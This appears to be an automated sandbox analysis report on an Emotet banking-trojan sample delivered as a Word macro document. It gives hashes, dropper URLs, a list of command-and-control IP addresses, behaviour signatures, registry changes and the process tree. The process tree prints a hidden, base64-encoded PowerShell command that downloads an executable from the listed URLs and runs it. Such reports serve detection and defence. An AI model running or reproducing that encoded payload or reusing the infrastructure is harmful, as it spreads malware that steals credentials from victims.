emotet | ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
157s
max time network
144s
platform
windows7_x64
resource
win7v200217
submitted
19-02-2020 13:59

Sharing

Copy URL

Twitter E-mail

General

Target

2020-01-16_90128.doc
Size

244KB
MD5

54dac3bd83a2d133062bd3ea4bb3a804
SHA1

49ef32722f4cf3aa22931ec28bb56737003411eb
SHA256

3902760a39fd0ed444b4a7890e6eeaa7886980ab2890a0fde04f8027a23e7120
SHA512

63d6665b96001a43bdd6ca1aa18fa49e9309d2e6df1632d8fd23ad972d49d1878c15944bddfc813c176d81ecf577c8b8d3de91ae7f03c5ce53965f511c2af6f8

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://blulinknetwork.com/wp-content/260shby-cdsu5t59-05/

exe.dropper

http://bassman1980-001-site5.gtempurl.com/799612/IIadxvvB/

exe.dropper

https://chasem2020.com/0589072/iMaKKrcbL/

exe.dropper

https://zhangyiyi.xyz/wp-content/jrERty/

exe.dropper

http://www.hondajazzclubindonesia.org/wp-content/HJnTOcOvw/

Extracted

Family

emotet

98.192.74.164:80

59.135.126.129:443

24.70.40.15:8080

178.33.167.120:8080

144.76.56.36:8080

176.58.93.123:80

51.38.134.203:8080

58.92.179.55:443

190.201.144.85:7080

201.183.251.100:80

192.210.217.94:8080

14.161.30.33:443

212.112.113.235:80

23.253.207.142:8080

1.217.126.11:443

61.221.152.140:80

78.189.165.52:8080

149.202.153.251:8080

91.73.169.210:80

212.129.14.27:8080

rsa_pubkey.plain

Signatures

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1856 WINWORD.EXE
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

WINWORD.EXE290.exe290.exetrnsinbox.exetrnsinbox.exe

pid process

1856 WINWORD.EXE
1856 WINWORD.EXE
1840 290.exe
1852 290.exe
1920 trnsinbox.exe
1876 trnsinbox.exe

pid	process
1856	WINWORD.EXE

pid	process
1856	WINWORD.EXE
1856	WINWORD.EXE
1840	290.exe
1852	290.exe
1920	trnsinbox.exe
1876	trnsinbox.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1984	1948	Powershell.exe

Executes dropped EXE 4 IoCs

Processes:

290.exe290.exetrnsinbox.exetrnsinbox.exe

pid process

1840 290.exe
1852 290.exe
1920 trnsinbox.exe
1876 trnsinbox.exe
Suspicious behavior: EmotetMutantsSpam 2 IoCs

Processes:

290.exetrnsinbox.exe

pid process

1852 290.exe
1876 trnsinbox.exe

pid	process
1840	290.exe
1852	290.exe
1920	trnsinbox.exe
1876	trnsinbox.exe

pid	process
1852	290.exe
1876	trnsinbox.exe

Drops file in System32 directory 3 IoCs

Processes:

Powershell.exe290.exetrnsinbox.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	Powershell.exe
File renamed	C:\Users\Admin\290.exe => C:\Windows\SysWOW64\trnsinbox.exe	290.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	trnsinbox.exe

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 1984 Powershell.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

Powershell.exetrnsinbox.exe

pid process

1984 Powershell.exe
1984 Powershell.exe
1984 Powershell.exe
1876 trnsinbox.exe
Blacklisted process makes network request 3 IoCs

Processes:

Powershell.exe

flow pid process

4 1984 Powershell.exe
7 1984 Powershell.exe
9 1984 Powershell.exe

description	pid	process
Token: SeDebugPrivilege	1984	Powershell.exe

pid	process
1984	Powershell.exe
1984	Powershell.exe
1984	Powershell.exe
1876	trnsinbox.exe

flow	pid	process
4	1984	Powershell.exe
7	1984	Powershell.exe
9	1984	Powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

Powershell.exe290.exetrnsinbox.exe

description	pid	process	target process
PID 1984 wrote to memory of 1840	1984	Powershell.exe	290.exe
PID 1984 wrote to memory of 1840	1984	Powershell.exe	290.exe
PID 1984 wrote to memory of 1840	1984	Powershell.exe	290.exe
PID 1984 wrote to memory of 1840	1984	Powershell.exe	290.exe
PID 1840 wrote to memory of 1852	1840	290.exe	290.exe
PID 1840 wrote to memory of 1852	1840	290.exe	290.exe
PID 1840 wrote to memory of 1852	1840	290.exe	290.exe
PID 1840 wrote to memory of 1852	1840	290.exe	290.exe
PID 1920 wrote to memory of 1876	1920	trnsinbox.exe	trnsinbox.exe
PID 1920 wrote to memory of 1876	1920	trnsinbox.exe	trnsinbox.exe
PID 1920 wrote to memory of 1876	1920	trnsinbox.exe	trnsinbox.exe
PID 1920 wrote to memory of 1876	1920	trnsinbox.exe	trnsinbox.exe

Office loads VBA resources, possible macro or embedded object present

Modifies registry class 280 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{6979CDB9-9042-4FDF-8573-45E6542C8FCB}\2.0\HELPDIR	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{6979CDB9-9042-4FDF-8573-45E6542C8FCB}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{6979CDB9-9042-4FDF-8573-45E6542C8FCB}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{6979CDB9-9042-4FDF-8573-45E6542C8FCB}\2.0\0\win32	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\ = "MdcListEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{6979CDB9-9042-4FDF-8573-45E6542C8FCB}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{6979CDB9-9042-4FDF-8573-45E6542C8FCB}\2.0\0	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{6979CDB9-9042-4FDF-8573-45E6542C8FCB}\2.0\FLAGS	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-16_90128.doc"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Modifies registry class
PID:1856

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABaAG0AeAB3AHQAbQBiAG4AZwBoAHYAdAA9ACcASQBkAHMAbAB0AGcAdgBvAHQAaAB2AGsAJwA7ACQAQgB0AGoAagB2AGMAcAB5AGQAdAAgAD0AIAAnADIAOQAwACcAOwAkAE0AagBsAHMAcQB3AHoAZABqAD0AJwBYAGcAZAB1AHgAcABoAGEAdABsAGcAcgAnADsAJABMAG0AZQB0AGoAdwBtAGIAZgBqAGcAegA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQgB0AGoAagB2AGMAcAB5AGQAdAArACcALgBlAHgAZQAnADsAJABYAGwAdABwAGIAagBlAGIAaQB1AHkAawA9ACcAWQBqAHoAaQB3AHoAaQBwAGsAegAnADsAJABOAHgAdQB3AHkAdABnAGoAeQBpAHkAYgA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAHQALgB3AGUAYgBDAEwAaQBFAE4AdAA7ACQARQBpAHMAdQBhAG4AbAByAHUAZQB5AD0AJwBoAHQAdABwADoALwAvAGIAbAB1AGwAaQBuAGsAbgBlAHQAdwBvAHIAawAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADIANgAwAHMAaABiAHkALQBjAGQAcwB1ADUAdAA1ADkALQAwADUALwAqAGgAdAB0AHAAOgAvAC8AYgBhAHMAcwBtAGEAbgAxADkAOAAwAC0AMAAwADEALQBzAGkAdABlADUALgBnAHQAZQBtAHAAdQByAGwALgBjAG8AbQAvADcAOQA5ADYAMQAyAC8ASQBJAGEAZAB4AHYAdgBCAC8AKgBoAHQAdABwAHMAOgAvAC8AYwBoAGEAcwBlAG0AMgAwADIAMAAuAGMAbwBtAC8AMAA1ADgAOQAwADcAMgAvAGkATQBhAEsASwByAGMAYgBMAC8AKgBoAHQAdABwAHMAOgAvAC8AegBoAGEAbgBnAHkAaQB5AGkALgB4AHkAegAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBqAHIARQBSAHQAeQAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGgAbwBuAGQAYQBqAGEAegB6AGMAbAB1AGIAaQBuAGQAbwBuAGUAcwBpAGEALgBvAHIAZwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBIAEoAbgBUAE8AYwBPAHYAdwAvACcALgAiAFMAcABsAGAASQBUACIAKAAnACoAJwApADsAJABEAGgAZwB0AGcAcwBsAHkAcwA9ACcATwBpAGYAcAB3AHgAagB3AG0AJwA7AGYAbwByAGUAYQBjAGgAKAAkAEcAcQB5AHYAYgBlAHQAYwAgAGkAbgAgACQARQBpAHMAdQBhAG4AbAByAHUAZQB5ACkAewB0AHIAeQB7ACQATgB4AHUAdwB5AHQAZwBqAHkAaQB5AGIALgAiAEQAbwBXAGAATgBsAGAATwBBAGAARABmAGkATABlACIAKAAkAEcAcQB5AHYAYgBlAHQAYwAsACAAJABMAG0AZQB0AGoAdwBtAGIAZgBqAGcAegApADsAJABDAGsAbAB4AHUAYQBsAGgAYQB0AGUAdwBnAD0AJwBQAG4AZgB6AGMAcwBuAGQAbABhAHEAawAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEwAbQBlAHQAagB3AG0AYgBmAGoAZwB6ACkALgAiAGwARQBOAEcAYABUAEgAIgAgAC0AZwBlACAAMgA5ADQANgA2ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAGEAUgB0ACIAKAAkAEwAbQBlAHQAagB3AG0AYgBmAGoAZwB6ACkAOwAkAEMAeABxAGgAZQB3AGgAaQA9ACcATQBsAGsAbQBqAG0AegByAGEAaQAnADsAYgByAGUAYQBrADsAJABOAG0AYwBwAGgAYQB4AGQAcQB6AHEAPQAnAEcAZgB6AHMAegBoAGYAaQBuAHEAaAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABCAG8AcgBzAGwAagBmAG0AawBlAGUAPQAnAEgAbAB0AHYAbQB2AGsAdgBkAGcAYQAnAA==
1⤵
- Process spawned unexpected child process
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1984

C:\Users\Admin\290.exe
"C:\Users\Admin\290.exe"
2⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1840

C:\Users\Admin\290.exe
--8c4b97c7
3⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
PID:1852

C:\Windows\SysWOW64\trnsinbox.exe
"C:\Windows\SysWOW64\trnsinbox.exe"
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1920

C:\Windows\SysWOW64\trnsinbox.exe
--7550199
2⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1876

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\290.exe

Download Submit
C:\Users\Admin\290.exe

Download Submit
C:\Users\Admin\290.exe

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1848298919-2336104428-4012071465-1000\0f5007522459c86e95ffcc62f32308f1_cb3421d8-e2c8-4b12-9d02-76148b2a4ecf

Download Submit
C:\Windows\SysWOW64\trnsinbox.exe

Download Submit
C:\Windows\SysWOW64\trnsinbox.exe

Download Submit
memory/1840-186-0x00000000003A0000-0x00000000003B7000-memory.dmp

Filesize
92KB

Download
memory/1852-191-0x0000000000400000-0x000000000045A000-memory.dmp

Filesize
360KB

Download
memory/1852-190-0x0000000000250000-0x0000000000267000-memory.dmp

Filesize
92KB

Download
memory/1856-89-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-30-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-12-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-14-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-16-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-18-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-20-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-22-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-99-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-26-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-28-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-101-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-32-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-34-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-36-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-38-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-40-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-42-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-44-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-46-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-47-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-48-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-49-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-50-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-51-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-53-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-55-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-57-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-59-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-61-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-63-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-65-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-67-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-69-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-71-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-73-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-75-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-77-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-79-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-81-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-83-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-85-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-87-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-9-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-91-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-93-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-95-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-97-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-24-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-10-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-103-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-105-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-107-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-109-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-111-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-113-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/1856-115-0x0000000002100000-0x0000000002101000-memory.dmp

